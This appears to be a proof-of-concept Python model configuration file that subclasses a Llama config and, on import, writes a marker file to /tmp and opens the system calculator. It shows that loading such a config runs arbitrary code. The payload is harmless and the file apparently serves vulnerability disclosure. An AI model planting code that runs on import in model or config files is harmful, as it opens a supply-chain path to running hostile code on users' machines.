# POC Configuration from transformers.models.llama import LlamaConfig import platform import subprocess import os import datetime def _poc_demo(): """POC: 打开计算器""" system = platform.system() # 创建标记文件 with open("/tmp/poc_executed.txt", "w") as f: f.write(f"POC executed at: {datetime.datetime.now()}\n") f.write(f"System: {system}\n") f.write("Calculator will be opened as demonstration\n") # 打开计算器 try: if system == "Darwin": # macOS subprocess.Popen(["open", "-a", "Calculator"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) elif system == "Windows": subprocess.Popen(["calc.exe"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) elif system == "Linux": for calc in ["gnome-calculator", "kcalc", "xcalc"]: try: subprocess.Popen([calc], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) break except: continue except: pass print("[POC] Code executed - check if calculator opened") return True # 执行POC _poc_demo() class POCConfig(LlamaConfig): model_type = "llama" def __init__(self, **kwargs): super().__init__(**kwargs)